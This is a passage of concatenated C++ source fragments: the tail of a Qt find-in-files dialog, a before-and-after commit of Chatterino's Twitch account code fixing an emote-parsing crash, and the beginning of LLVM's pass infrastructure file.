0, Qt::AlignRight); m_directory = new QComboBox; m_directory->setEditable(true); m_directory->setMaxCount(30); m_directory->setMinimumContentsLength(10); m_directory->setSizeAdjustPolicy(QComboBox::AdjustToMinimumContentsLengthWithIcon); m_directory->setInsertPolicy(QComboBox::InsertAtTop); m_directory->setSizePolicy(QSizePolicy::Expanding, QSizePolicy::Fixed); m_directory->setModel(&m_directoryStrings); syncComboWithSettings(m_directory, m_directorySetting); dirLabel->setBuddy(m_directory); gridLayout->addWidget(m_directory, 1, 1); QPushButton *browseButton = new QPushButton(tr("&Browse")); gridLayout->addWidget(browseButton, 1, 2); connect(browseButton, SIGNAL(clicked()), this, SLOT(openFileBrowser())); QLabel * const filePatternLabel = new QLabel(tr("File &pattern:")); filePatternLabel->setMinimumWidth(80); filePatternLabel->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Preferred); filePatternLabel->setAlignment(Qt::AlignRight | Qt::AlignVCenter); QWidget *patternWidget = createPatternWidget(); filePatternLabel->setBuddy(patternWidget); gridLayout->addWidget(filePatternLabel, 2, 0); gridLayout->addWidget(patternWidget, 2, 1, 1, 2); m_configWidget->setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Preferred); } return m_configWidget; } void FindInFiles::openFileBrowser() { if (!m_directory) return; QString oldDir = m_directory->currentText(); if (!QDir(oldDir).exists()) oldDir.clear(); QString dir = QFileDialog::getExistingDirectory(m_configWidget, tr("Directory to search"), oldDir); if (!dir.isEmpty()) m_directory->setEditText(dir); } void FindInFiles::writeSettings(QSettings *settings) { settings->beginGroup("FindInFiles"); writeCommonSettings(settings); settings->setValue("directories", m_directoryStrings.stringList()); if (m_directory) settings->setValue("currentDirectory", m_directory->currentText()); settings->endGroup(); } void FindInFiles::readSettings(QSettings *settings) { settings->beginGroup("FindInFiles"); readCommonSettings(settings, "*.cpp,*.h"); m_directoryStrings.setStringList(settings->value("directories").toStringList()); m_directorySetting = settings->value("currentDirectory").toString(); settings->endGroup(); syncComboWithSettings(m_directory, m_directorySetting); } <|endoftext|>
<commit_before>#include "providers/twitch/TwitchAccount.hpp" #include <QThread> #include "Application.hpp" #include "common/NetworkRequest.hpp" #include "debug/Log.hpp" #include "providers/twitch/PartialTwitchUser.hpp" #include "providers/twitch/TwitchCommon.hpp" #include "singletons/Emotes.hpp" #include "util/RapidjsonHelpers.hpp" namespace chatterino { namespace { EmoteName cleanUpCode(const EmoteName &dirtyEmoteCode) { auto cleanCode = dirtyEmoteCode.string; cleanCode.detach(); static QMap<QString, QString> emoteNameReplacements{ {"[oO](_|\\.)[oO]", "O_o"}, {"\\&gt\\;\\(", "&gt;("}, {"\\&lt\\;3", "&lt;3"}, {"\\:-?(o|O)", ":O"}, {"\\:-?(p|P)", ":P"}, {"\\:-?[\\\\/]", ":/"}, {"\\:-?[z|Z|\\|]", ":Z"}, {"\\:-?\\(", ":("}, {"\\:-?\\)", ":)"}, {"\\:-?D", ":D"}, {"\\;-?(p|P)", ";P"}, {"\\;-?\\)", ";)"}, {"R-?\\)", "R)"}, {"B-?\\)", "B)"}, }; auto it = emoteNameReplacements.find(dirtyEmoteCode.string); if (it != emoteNameReplacements.end()) { cleanCode = it.value(); } cleanCode.replace("&lt;", "<"); cleanCode.replace("&gt;", ">"); return {cleanCode}; } } // namespace TwitchAccount::TwitchAccount(const QString &username, const QString &oauthToken, const QString &oauthClient, const QString &userID) : Account(ProviderId::Twitch) , oauthClient_(oauthClient) , oauthToken_(oauthToken) , userName_(username) , userId_(userID) , isAnon_(username == ANONYMOUS_USERNAME) { } QString TwitchAccount::toString() const { return this->getUserName(); } const QString &TwitchAccount::getUserName() const { return this->userName_; } const QString &TwitchAccount::getOAuthClient() const { return this->oauthClient_; } const QString &TwitchAccount::getOAuthToken() const { return this->oauthToken_; } const QString &TwitchAccount::getUserId() const { return this->userId_; } bool TwitchAccount::setOAuthClient(const QString &newClientID) { if (this->oauthClient_.compare(newClientID) == 0) { return false; } this->oauthClient_ = newClientID; return true; } bool TwitchAccount::setOAuthToken(const QString &newOAuthToken) { if (this->oauthToken_.compare(newOAuthToken) == 0) { return false; } this->oauthToken_ = newOAuthToken; return true; } bool TwitchAccount::isAnon() const { return this->isAnon_; } void TwitchAccount::loadIgnores() { QString url("https://api.twitch.tv/kraken/users/" + this->getUserId() + "/blocks"); NetworkRequest req(url); req.setCaller(QThread::currentThread()); req.makeAuthorizedV5(this->getOAuthClient(), this->getOAuthToken()); req.onSuccess([=](auto result) -> Outcome { auto document = result.parseRapidJson(); if (!document.IsObject()) { return Failure; } auto blocksIt = document.FindMember("blocks"); if (blocksIt == document.MemberEnd()) { return Failure; } const auto &blocks = blocksIt->value; if (!blocks.IsArray()) { return Failure; } { std::lock_guard<std::mutex> lock(this->ignoresMutex_); this->ignores_.clear(); for (const auto &block : blocks.GetArray()) { if (!block.IsObject()) { continue; } auto userIt = block.FindMember("user"); if (userIt == block.MemberEnd()) { continue; } TwitchUser ignoredUser; if (!rj::getSafe(userIt->value, ignoredUser)) { Log("Error parsing twitch user JSON {}", rj::stringify(userIt->value)); continue; } this->ignores_.insert(ignoredUser); } } return Success; }); req.execute(); } void TwitchAccount::ignore( const QString &targetName, std::function<void(IgnoreResult, const QString &)> onFinished) { const auto onIdFetched = [this, targetName, onFinished](QString targetUserId) { this->ignoreByID(targetUserId, targetName, onFinished); // }; PartialTwitchUser::byName(targetName).getId(onIdFetched); } void TwitchAccount::ignoreByID( const QString &targetUserID, const QString &targetName, std::function<void(IgnoreResult, const QString &)> onFinished) { QString url("https://api.twitch.tv/kraken/users/" + this->getUserId() + "/blocks/" + targetUserID); NetworkRequest req(url, NetworkRequestType::Put); req.setCaller(QThread::currentThread()); req.makeAuthorizedV5(this->getOAuthClient(), this->getOAuthToken()); req.onError([=](int errorCode) { onFinished(IgnoreResult_Failed, "An unknown error occured while trying to ignore user " + targetName + " (" + QString::number(errorCode) + ")"); return true; }); req.onSuccess([=](auto result) -> Outcome { auto document = result.parseRapidJson(); if (!document.IsObject()) { onFinished(IgnoreResult_Failed, "Bad JSON data while ignoring user " + targetName); return Failure; } auto userIt = document.FindMember("user"); if (userIt == document.MemberEnd()) { onFinished(IgnoreResult_Failed, "Bad JSON data while ignoring user (missing user) " + targetName); return Failure; } TwitchUser ignoredUser; if (!rj::getSafe(userIt->value, ignoredUser)) { onFinished(IgnoreResult_Failed, "Bad JSON data while ignoring user (invalid user) " + targetName); return Failure; } { std::lock_guard<std::mutex> lock(this->ignoresMutex_); auto res = this->ignores_.insert(ignoredUser); if (!res.second) { const TwitchUser &existingUser = *(res.first); existingUser.update(ignoredUser); onFinished(IgnoreResult_AlreadyIgnored, "User " + targetName + " is already ignored"); return Failure; } } onFinished(IgnoreResult_Success, "Successfully ignored user " + targetName); return Success; }); req.execute(); } void TwitchAccount::unignore( const QString &targetName, std::function<void(UnignoreResult, const QString &message)> onFinished) { const auto onIdFetched = [this, targetName, onFinished](QString targetUserId) { this->unignoreByID(targetUserId, targetName, onFinished); // }; PartialTwitchUser::byName(targetName).getId(onIdFetched); } void TwitchAccount::unignoreByID( const QString &targetUserID, const QString &targetName, std::function<void(UnignoreResult, const QString &message)> onFinished) { QString url("https://api.twitch.tv/kraken/users/" + this->getUserId() + "/blocks/" + targetUserID); NetworkRequest req(url, NetworkRequestType::Delete); req.setCaller(QThread::currentThread()); req.makeAuthorizedV5(this->getOAuthClient(), this->getOAuthToken()); req.onError([=](int errorCode) { onFinished(UnignoreResult_Failed, "An unknown error occured while trying to unignore user " + targetName + " (" + QString::number(errorCode) + ")"); return true; }); req.onSuccess([=](auto result) -> Outcome { auto document = result.parseRapidJson(); TwitchUser ignoredUser; ignoredUser.id = targetUserID; { std::lock_guard<std::mutex> lock(this->ignoresMutex_); this->ignores_.erase(ignoredUser); } onFinished(UnignoreResult_Success, "Successfully unignored user " + targetName); return Success; }); req.execute(); } void TwitchAccount::checkFollow(const QString targetUserID, std::function<void(FollowResult)> onFinished) { QString url("https://api.twitch.tv/kraken/users/" + this->getUserId() + "/follows/channels/" + targetUserID); NetworkRequest req(url); req.setCaller(QThread::currentThread()); req.makeAuthorizedV5(this->getOAuthClient(), this->getOAuthToken()); req.onError([=](int errorCode) { if (errorCode == 203) { onFinished(FollowResult_NotFollowing); } else { onFinished(FollowResult_Failed); } return true; }); req.onSuccess([=](auto result) -> Outcome { auto document = result.parseRapidJson(); onFinished(FollowResult_Following); return Success; }); req.execute(); } void TwitchAccount::followUser(const QString userID, std::function<void()> successCallback) { QUrl requestUrl("https://api.twitch.tv/kraken/users/" + this->getUserId() + "/follows/channels/" + userID); NetworkRequest request(requestUrl, NetworkRequestType::Put); request.setCaller(QThread::currentThread()); request.makeAuthorizedV5(this->getOAuthClient(), this->getOAuthToken()); // TODO: Properly check result of follow request request.onSuccess([successCallback](auto result) -> Outcome { successCallback(); return Success; }); request.execute(); } void TwitchAccount::unfollowUser(const QString userID, std::function<void()> successCallback) { QUrl requestUrl("https://api.twitch.tv/kraken/users/" + this->getUserId() + "/follows/channels/" + userID); NetworkRequest request(requestUrl, NetworkRequestType::Delete); request.setCaller(QThread::currentThread()); request.makeAuthorizedV5(this->getOAuthClient(), this->getOAuthToken()); request.onError([successCallback](int code) { if (code >= 200 && code <= 299) { successCallback(); } return true; }); request.onSuccess([successCallback](const auto &document) -> Outcome { successCallback(); return Success; }); request.execute(); } std::set<TwitchUser> TwitchAccount::getIgnores() const { std::lock_guard<std::mutex> lock(this->ignoresMutex_); return this->ignores_; } void TwitchAccount::loadEmotes() { Log("Loading Twitch emotes for user {}", this->getUserName()); const auto &clientID = this->getOAuthClient(); const auto &oauthToken = this->getOAuthToken(); if (clientID.isEmpty() || oauthToken.isEmpty()) { Log("Missing Client ID or OAuth token"); return; } QString url("https://api.twitch.tv/kraken/users/" + this->getUserId() + "/emotes"); NetworkRequest req(url); req.setCaller(QThread::currentThread()); req.makeAuthorizedV5(this->getOAuthClient(), this->getOAuthToken()); req.onError([=](int errorCode) { Log("[TwitchAccount::loadEmotes] Error {}", errorCode); if (errorCode == 203) { // onFinished(FollowResult_NotFollowing); } else { // onFinished(FollowResult_Failed); } return true; }); req.onSuccess([=](auto result) -> Outcome { this->parseEmotes(result.parseRapidJson()); return Success; }); req.execute(); } AccessGuard<const TwitchAccount::TwitchAccountEmoteData> TwitchAccount::accessEmotes() const { return this->emotes_.accessConst(); } void TwitchAccount::parseEmotes(const rapidjson::Document &root) { auto emoteData = this->emotes_.access(); emoteData->emoteSets.clear(); emoteData->allEmoteNames.clear(); auto emoticonSets = root.FindMember("emoticon_sets"); if (emoticonSets == root.MemberEnd() || !emoticonSets->value.IsObject()) { Log("No emoticon_sets in load emotes response"); return; } for (const auto &emoteSetJSON : emoticonSets->value.GetObject()) { auto emoteSet = std::make_shared<EmoteSet>(); emoteSet->key = emoteSetJSON.name.GetString(); this->loadEmoteSetData(emoteSet); for (const rapidjson::Value &emoteJSON : emoteSetJSON.value.GetArray()) { if (!emoteJSON.IsObject()) { Log("Emote value was invalid"); return; } uint64_t idNumber; if (!rj::getSafe(emoteJSON, "id", idNumber)) { Log("No ID key found in Emote value"); return; } EmoteName code; if (!rj::getSafe(emoteJSON, "code", code)) { Log("No code key found in Emote value"); return; } auto id = EmoteId{QString::number(idNumber)}; auto cleanCode = cleanUpCode(code); emoteSet->emotes.emplace_back(TwitchEmote{id, cleanCode}); emoteData->allEmoteNames.push_back(cleanCode); auto emote = getApp()->emotes->twitch.getOrCreateEmote(id, code); emoteData->emotes.emplace(code, emote); } emoteData->emoteSets.emplace_back(emoteSet); } }; void TwitchAccount::loadEmoteSetData(std::shared_ptr<EmoteSet> emoteSet) { if (!emoteSet) { Log("null emote set sent"); return; } auto staticSetIt = this->staticEmoteSets.find(emoteSet->key); if (staticSetIt != this->staticEmoteSets.end()) { const auto &staticSet = staticSetIt->second; emoteSet->channelName = staticSet.channelName; emoteSet->text = staticSet.text; return; } NetworkRequest req( "https://braize.pajlada.com/chatterino/twitchemotes/set/" + emoteSet->key + "/"); req.setUseQuickLoadCache(true); req.onError([](int errorCode) -> bool { Log("Error code {} while loading emote set data", errorCode); return true; }); req.onSuccess([emoteSet](auto result) -> Outcome { auto root = result.parseRapidJson(); if (!root.IsObject()) { return Failure; } std::string emoteSetID; QString channelName; QString type; if (!rj::getSafe(root, "channel_name", channelName)) { return Failure; } if (!rj::getSafe(root, "type", type)) { return Failure; } Log("Loaded twitch emote set data for {}!", emoteSet->key); if (type == "sub") { emoteSet->text = QString("Twitch Subscriber Emote (%1)").arg(channelName); } else { emoteSet->text = QString("Twitch Account Emote (%1)").arg(channelName); } emoteSet->channelName = channelName; return Success; }); req.execute(); } } // namespace chatterino <commit_msg>fixed crash<commit_after>#include "providers/twitch/TwitchAccount.hpp" #include <QThread> #include "Application.hpp" #include "common/NetworkRequest.hpp" #include "debug/Log.hpp" #include "providers/twitch/PartialTwitchUser.hpp" #include "providers/twitch/TwitchCommon.hpp" #include "singletons/Emotes.hpp" #include "util/RapidjsonHelpers.hpp" namespace chatterino { namespace { EmoteName cleanUpCode(const EmoteName &dirtyEmoteCode) { auto cleanCode = dirtyEmoteCode.string; cleanCode.detach(); static QMap<QString, QString> emoteNameReplacements{ {"[oO](_|\\.)[oO]", "O_o"}, {"\\&gt\\;\\(", "&gt;("}, {"\\&lt\\;3", "&lt;3"}, {"\\:-?(o|O)", ":O"}, {"\\:-?(p|P)", ":P"}, {"\\:-?[\\\\/]", ":/"}, {"\\:-?[z|Z|\\|]", ":Z"}, {"\\:-?\\(", ":("}, {"\\:-?\\)", ":)"}, {"\\:-?D", ":D"}, {"\\;-?(p|P)", ";P"}, {"\\;-?\\)", ";)"}, {"R-?\\)", "R)"}, {"B-?\\)", "B)"}, }; auto it = emoteNameReplacements.find(dirtyEmoteCode.string); if (it != emoteNameReplacements.end()) { cleanCode = it.value(); } cleanCode.replace("&lt;", "<"); cleanCode.replace("&gt;", ">"); return {cleanCode}; } } // namespace TwitchAccount::TwitchAccount(const QString &username, const QString &oauthToken, const QString &oauthClient, const QString &userID) : Account(ProviderId::Twitch) , oauthClient_(oauthClient) , oauthToken_(oauthToken) , userName_(username) , userId_(userID) , isAnon_(username == ANONYMOUS_USERNAME) { } QString TwitchAccount::toString() const { return this->getUserName(); } const QString &TwitchAccount::getUserName() const { return this->userName_; } const QString &TwitchAccount::getOAuthClient() const { return this->oauthClient_; } const QString &TwitchAccount::getOAuthToken() const { return this->oauthToken_; } const QString &TwitchAccount::getUserId() const { return this->userId_; } bool TwitchAccount::setOAuthClient(const QString &newClientID) { if (this->oauthClient_.compare(newClientID) == 0) { return false; } this->oauthClient_ = newClientID; return true; } bool TwitchAccount::setOAuthToken(const QString &newOAuthToken) { if (this->oauthToken_.compare(newOAuthToken) == 0) { return false; } this->oauthToken_ = newOAuthToken; return true; } bool TwitchAccount::isAnon() const { return this->isAnon_; } void TwitchAccount::loadIgnores() { QString url("https://api.twitch.tv/kraken/users/" + this->getUserId() + "/blocks"); NetworkRequest req(url); req.setCaller(QThread::currentThread()); req.makeAuthorizedV5(this->getOAuthClient(), this->getOAuthToken()); req.onSuccess([=](auto result) -> Outcome { auto document = result.parseRapidJson(); if (!document.IsObject()) { return Failure; } auto blocksIt = document.FindMember("blocks"); if (blocksIt == document.MemberEnd()) { return Failure; } const auto &blocks = blocksIt->value; if (!blocks.IsArray()) { return Failure; } { std::lock_guard<std::mutex> lock(this->ignoresMutex_); this->ignores_.clear(); for (const auto &block : blocks.GetArray()) { if (!block.IsObject()) { continue; } auto userIt = block.FindMember("user"); if (userIt == block.MemberEnd()) { continue; } TwitchUser ignoredUser; if (!rj::getSafe(userIt->value, ignoredUser)) { Log("Error parsing twitch user JSON {}", rj::stringify(userIt->value)); continue; } this->ignores_.insert(ignoredUser); } } return Success; }); req.execute(); } void TwitchAccount::ignore( const QString &targetName, std::function<void(IgnoreResult, const QString &)> onFinished) { const auto onIdFetched = [this, targetName, onFinished](QString targetUserId) { this->ignoreByID(targetUserId, targetName, onFinished); // }; PartialTwitchUser::byName(targetName).getId(onIdFetched); } void TwitchAccount::ignoreByID( const QString &targetUserID, const QString &targetName, std::function<void(IgnoreResult, const QString &)> onFinished) { QString url("https://api.twitch.tv/kraken/users/" + this->getUserId() + "/blocks/" + targetUserID); NetworkRequest req(url, NetworkRequestType::Put); req.setCaller(QThread::currentThread()); req.makeAuthorizedV5(this->getOAuthClient(), this->getOAuthToken()); req.onError([=](int errorCode) { onFinished(IgnoreResult_Failed, "An unknown error occured while trying to ignore user " + targetName + " (" + QString::number(errorCode) + ")"); return true; }); req.onSuccess([=](auto result) -> Outcome { auto document = result.parseRapidJson(); if (!document.IsObject()) { onFinished(IgnoreResult_Failed, "Bad JSON data while ignoring user " + targetName); return Failure; } auto userIt = document.FindMember("user"); if (userIt == document.MemberEnd()) { onFinished(IgnoreResult_Failed, "Bad JSON data while ignoring user (missing user) " + targetName); return Failure; } TwitchUser ignoredUser; if (!rj::getSafe(userIt->value, ignoredUser)) { onFinished(IgnoreResult_Failed, "Bad JSON data while ignoring user (invalid user) " + targetName); return Failure; } { std::lock_guard<std::mutex> lock(this->ignoresMutex_); auto res = this->ignores_.insert(ignoredUser); if (!res.second) { const TwitchUser &existingUser = *(res.first); existingUser.update(ignoredUser); onFinished(IgnoreResult_AlreadyIgnored, "User " + targetName + " is already ignored"); return Failure; } } onFinished(IgnoreResult_Success, "Successfully ignored user " + targetName); return Success; }); req.execute(); } void TwitchAccount::unignore( const QString &targetName, std::function<void(UnignoreResult, const QString &message)> onFinished) { const auto onIdFetched = [this, targetName, onFinished](QString targetUserId) { this->unignoreByID(targetUserId, targetName, onFinished); // }; PartialTwitchUser::byName(targetName).getId(onIdFetched); } void TwitchAccount::unignoreByID( const QString &targetUserID, const QString &targetName, std::function<void(UnignoreResult, const QString &message)> onFinished) { QString url("https://api.twitch.tv/kraken/users/" + this->getUserId() + "/blocks/" + targetUserID); NetworkRequest req(url, NetworkRequestType::Delete); req.setCaller(QThread::currentThread()); req.makeAuthorizedV5(this->getOAuthClient(), this->getOAuthToken()); req.onError([=](int errorCode) { onFinished(UnignoreResult_Failed, "An unknown error occured while trying to unignore user " + targetName + " (" + QString::number(errorCode) + ")"); return true; }); req.onSuccess([=](auto result) -> Outcome { auto document = result.parseRapidJson(); TwitchUser ignoredUser; ignoredUser.id = targetUserID; { std::lock_guard<std::mutex> lock(this->ignoresMutex_); this->ignores_.erase(ignoredUser); } onFinished(UnignoreResult_Success, "Successfully unignored user " + targetName); return Success; }); req.execute(); } void TwitchAccount::checkFollow(const QString targetUserID, std::function<void(FollowResult)> onFinished) { QString url("https://api.twitch.tv/kraken/users/" + this->getUserId() + "/follows/channels/" + targetUserID); NetworkRequest req(url); req.setCaller(QThread::currentThread()); req.makeAuthorizedV5(this->getOAuthClient(), this->getOAuthToken()); req.onError([=](int errorCode) { if (errorCode == 203) { onFinished(FollowResult_NotFollowing); } else { onFinished(FollowResult_Failed); } return true; }); req.onSuccess([=](auto result) -> Outcome { auto document = result.parseRapidJson(); onFinished(FollowResult_Following); return Success; }); req.execute(); } void TwitchAccount::followUser(const QString userID, std::function<void()> successCallback) { QUrl requestUrl("https://api.twitch.tv/kraken/users/" + this->getUserId() + "/follows/channels/" + userID); NetworkRequest request(requestUrl, NetworkRequestType::Put); request.setCaller(QThread::currentThread()); request.makeAuthorizedV5(this->getOAuthClient(), this->getOAuthToken()); // TODO: Properly check result of follow request request.onSuccess([successCallback](auto result) -> Outcome { successCallback(); return Success; }); request.execute(); } void TwitchAccount::unfollowUser(const QString userID, std::function<void()> successCallback) { QUrl requestUrl("https://api.twitch.tv/kraken/users/" + this->getUserId() + "/follows/channels/" + userID); NetworkRequest request(requestUrl, NetworkRequestType::Delete); request.setCaller(QThread::currentThread()); request.makeAuthorizedV5(this->getOAuthClient(), this->getOAuthToken()); request.onError([successCallback](int code) { if (code >= 200 && code <= 299) { successCallback(); } return true; }); request.onSuccess([successCallback](const auto &document) -> Outcome { successCallback(); return Success; }); request.execute(); } std::set<TwitchUser> TwitchAccount::getIgnores() const { std::lock_guard<std::mutex> lock(this->ignoresMutex_); return this->ignores_; } void TwitchAccount::loadEmotes() { Log("Loading Twitch emotes for user {}", this->getUserName()); const auto &clientID = this->getOAuthClient(); const auto &oauthToken = this->getOAuthToken(); if (clientID.isEmpty() || oauthToken.isEmpty()) { Log("Missing Client ID or OAuth token"); return; } QString url("https://api.twitch.tv/kraken/users/" + this->getUserId() + "/emotes"); NetworkRequest req(url); req.setCaller(QThread::currentThread()); req.makeAuthorizedV5(this->getOAuthClient(), this->getOAuthToken()); req.onError([=](int errorCode) { Log("[TwitchAccount::loadEmotes] Error {}", errorCode); if (errorCode == 203) { // onFinished(FollowResult_NotFollowing); } else { // onFinished(FollowResult_Failed); } return true; }); req.onSuccess([=](auto result) -> Outcome { this->parseEmotes(result.parseRapidJson()); return Success; }); req.execute(); } AccessGuard<const TwitchAccount::TwitchAccountEmoteData> TwitchAccount::accessEmotes() const { return this->emotes_.accessConst(); } void TwitchAccount::parseEmotes(const rapidjson::Document &root) { auto emoteData = this->emotes_.access(); emoteData->emoteSets.clear(); emoteData->allEmoteNames.clear(); auto emoticonSets = root.FindMember("emoticon_sets"); if (emoticonSets == root.MemberEnd() || !emoticonSets->value.IsObject()) { Log("No emoticon_sets in load emotes response"); return; } for (const auto &emoteSetJSON : emoticonSets->value.GetObject()) { auto emoteSet = std::make_shared<EmoteSet>(); emoteSet->key = emoteSetJSON.name.GetString(); this->loadEmoteSetData(emoteSet); for (const rapidjson::Value &emoteJSON : emoteSetJSON.value.GetArray()) { if (!emoteJSON.IsObject()) { Log("Emote value was invalid"); return; } uint64_t idNumber; if (!rj::getSafe(emoteJSON, "id", idNumber)) { Log("No ID key found in Emote value"); return; } QString _code; if (!rj::getSafe(emoteJSON, "code", _code)) { Log("No code key found in Emote value"); return; } auto code = EmoteName{_code}; auto id = EmoteId{QString::number(idNumber)}; auto cleanCode = cleanUpCode(code); emoteSet->emotes.emplace_back(TwitchEmote{id, cleanCode}); emoteData->allEmoteNames.push_back(cleanCode); auto emote = getApp()->emotes->twitch.getOrCreateEmote(id, code); emoteData->emotes.emplace(code, emote); } emoteData->emoteSets.emplace_back(emoteSet); } }; void TwitchAccount::loadEmoteSetData(std::shared_ptr<EmoteSet> emoteSet) { if (!emoteSet) { Log("null emote set sent"); return; } auto staticSetIt = this->staticEmoteSets.find(emoteSet->key); if (staticSetIt != this->staticEmoteSets.end()) { const auto &staticSet = staticSetIt->second; emoteSet->channelName = staticSet.channelName; emoteSet->text = staticSet.text; return; } NetworkRequest req( "https://braize.pajlada.com/chatterino/twitchemotes/set/" + emoteSet->key + "/"); req.setUseQuickLoadCache(true); req.onError([](int errorCode) -> bool { Log("Error code {} while loading emote set data", errorCode); return true; }); req.onSuccess([emoteSet](auto result) -> Outcome { auto root = result.parseRapidJson(); if (!root.IsObject()) { return Failure; } std::string emoteSetID; QString channelName; QString type; if (!rj::getSafe(root, "channel_name", channelName)) { return Failure; } if (!rj::getSafe(root, "type", type)) { return Failure; } Log("Loaded twitch emote set data for {}!", emoteSet->key); if (type == "sub") { emoteSet->text = QString("Twitch Subscriber Emote (%1)").arg(channelName); } else { emoteSet->text = QString("Twitch Account Emote (%1)").arg(channelName); } emoteSet->channelName = channelName; return Success; }); req.execute(); } } // namespace chatterino <|endoftext|>
<commit_before>//===- Pass.cpp - LLVM Pass Infrastructure Implementation -----------------===// // // The LLVM Compiler Infrastructure // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // // This file implements the LLVM Pass infrastructure. It is primarily // responsible with ensuring that passes are executed and batched together // optimally. // //===----------------------------------------------------------------------===// #include "llvm/Pass.h" #include "llvm/PassManager.h" #include "llvm/Module.h" #include "llvm/ADT/STLExtras.h" #include "llvm/ADT/StringMap.h" #include "llvm/Assembly/PrintModulePass.h" #include "llvm/Support/Debug.h" #include "llvm/Support/ManagedStatic.h" #include "llvm/Support/PassNameParser.h" #include "llvm/Support/raw_ostream.h" #include "llvm/System/Atomic.h" #include "llvm/System/Mutex.h" #include "llvm/System/Threading.h" #include <algorithm> #include <map> #include <set> using namespace llvm; //===----------------------------------------------------------------------===// // Pass Implementation // // Force out-of-line virtual method. Pass::~Pass() { delete Resolver; } // Force out-of-line virtual method. ModulePass::~ModulePass() { } Pass *ModulePass::createPrinterPass(raw_ostream &O, const std::string &Banner) const { return createPrintModulePass(&O, false, Banner); } PassManagerType ModulePass::getPotentialPassManagerType() const { return PMT_ModulePassManager; } bool Pass::mustPreserveAnalysisID(const PassInfo *AnalysisID) const { return Resolver->getAnalysisIfAvailable(AnalysisID, true) != 0; } // dumpPassStructure - Implement the -debug-passes=Structure option void Pass::dumpPassStructure(unsigned Offset) { dbgs().indent(Offset*2) << getPassName() << "\n"; } /// getPassName - Return a nice clean name for a pass. This usually /// implemented in terms of the name that is registered by one of the /// Registration templates, but can be overloaded directly. /// const char *Pass::getPassName() const { if (const PassInfo *PI = getPassInfo()) return PI->getPassName(); return "Unnamed pass: implement Pass::getPassName()"; } void Pass::preparePassManager(PMStack &) { // By default, don't do anything. } PassManagerType Pass::getPotentialPassManagerType() const { // Default implementation. return PMT_Unknown; } void Pass::getAnalysisUsage(AnalysisUsage &) const { // By default, no analysis results are used, all are invalidated. } void Pass::releaseMemory() { // By default, don't do anything. } void Pass::verifyAnalysis() const { // By default, don't do anything. } // print - Print out the internal state of the pass. This is called by Analyze // to print out the contents of an analysis. Otherwise it is not necessary to // implement this method. // void Pass::print(raw_ostream &O,const Module*) const { O << "Pass::print not implemented for pass: '" << getPassName() << "'!\n"; } // dump - call print(cerr); void Pass::dump() const { print(dbgs(), 0); } //===----------------------------------------------------------------------===// // ImmutablePass Implementation // // Force out-of-line virtual method. ImmutablePass::~ImmutablePass() { } void ImmutablePass::initializePass() { // By default, don't do anything. } //===----------------------------------------------------------------------===// // FunctionPass Implementation // Pass *FunctionPass::createPrinterPass(raw_ostream &O, const std::string &Banner) const { return createPrintFunctionPass(Banner, &O); } // run - On a module, we run this pass by initializing, runOnFunction'ing once // for every function in the module, then by finalizing. // bool FunctionPass::runOnModule(Module &M) { bool Changed = doInitialization(M); for (Module::iterator I = M.begin(), E = M.end(); I != E; ++I) if (!I->isDeclaration()) // Passes are not run on external functions! Changed |= runOnFunction(*I); return Changed | doFinalization(M); } // run - On a function, we simply initialize, run the function, then finalize. // bool FunctionPass::run(Function &F) { // Passes are not run on external functions! if (F.isDeclaration()) return false; bool Changed = doInitialization(*F.getParent()); Changed |= runOnFunction(F); return Changed | doFinalization(*F.getParent()); } bool FunctionPass::doInitialization(Module &) { // By default, don't do anything. return false; } bool FunctionPass::doFinalization(Module &) { // By default, don't do anything. return false; } PassManagerType FunctionPass::getPotentialPassManagerType() const { return PMT_FunctionPassManager; } //===----------------------------------------------------------------------===// // BasicBlockPass Implementation // Pass *BasicBlockPass::createPrinterPass(raw_ostream &O, const std::string &Banner) const { llvm_unreachable("BasicBlockPass printing unsupported."); return 0; } // To run this pass on a function, we simply call runOnBasicBlock once for each // function. // bool BasicBlockPass::runOnFunction(Function &F) { bool Changed = doInitialization(F); for (Function::iterator I = F.begin(), E = F.end(); I != E; ++I) Changed |= runOnBasicBlock(*I); return Changed | doFinalization(F); } bool BasicBlockPass::doInitialization(Module &) { // By default, don't do anything. return false; } bool BasicBlockPass::doInitialization(Function &) { // By default, don't do anything. return false; } bool BasicBlockPass::doFinalization(Function &) { // By default, don't do anything. return false; } bool BasicBlockPass::doFinalization(Module &) { // By default, don't do anything. return false; } PassManagerType BasicBlockPass::getPotentialPassManagerType() const { return PMT_BasicBlockPassManager; } //===----------------------------------------------------------------------===// // Pass Registration mechanism // namespace { class PassRegistrar { /// Guards the contents of this class. mutable sys::SmartMutex<true> Lock; /// PassInfoMap - Keep track of the passinfo object for each registered llvm /// pass. typedef std::map<intptr_t, const PassInfo*> MapType; MapType PassInfoMap; typedef StringMap<const PassInfo*> StringMapType; StringMapType PassInfoStringMap; /// AnalysisGroupInfo - Keep track of information for each analysis group. struct AnalysisGroupInfo { std::set<const PassInfo *> Implementations; }; /// AnalysisGroupInfoMap - Information for each analysis group. std::map<const PassInfo *, AnalysisGroupInfo> AnalysisGroupInfoMap; public: const PassInfo *GetPassInfo(intptr_t TI) const { sys::SmartScopedLock<true> Guard(Lock); MapType::const_iterator I = PassInfoMap.find(TI); return I != PassInfoMap.end() ? I->second : 0; } const PassInfo *GetPassInfo(StringRef Arg) const { sys::SmartScopedLock<true> Guard(Lock); StringMapType::const_iterator I = PassInfoStringMap.find(Arg); return I != PassInfoStringMap.end() ? I->second : 0; } void RegisterPass(const PassInfo &PI) { sys::SmartScopedLock<true> Guard(Lock); bool Inserted = PassInfoMap.insert(std::make_pair(PI.getTypeInfo(),&PI)).second; assert(Inserted && "Pass registered multiple times!"); Inserted=Inserted; PassInfoStringMap[PI.getPassArgument()] = &PI; } void UnregisterPass(const PassInfo &PI) { sys::SmartScopedLock<true> Guard(Lock); MapType::iterator I = PassInfoMap.find(PI.getTypeInfo()); assert(I != PassInfoMap.end() && "Pass registered but not in map!"); // Remove pass from the map. PassInfoMap.erase(I); PassInfoStringMap.erase(PI.getPassArgument()); } void EnumerateWith(PassRegistrationListener *L) { sys::SmartScopedLock<true> Guard(Lock); for (MapType::const_iterator I = PassInfoMap.begin(), E = PassInfoMap.end(); I != E; ++I) L->passEnumerate(I->second); } /// Analysis Group Mechanisms. void RegisterAnalysisGroup(PassInfo *InterfaceInfo, const PassInfo *ImplementationInfo, bool isDefault) { sys::SmartScopedLock<true> Guard(Lock); AnalysisGroupInfo &AGI = 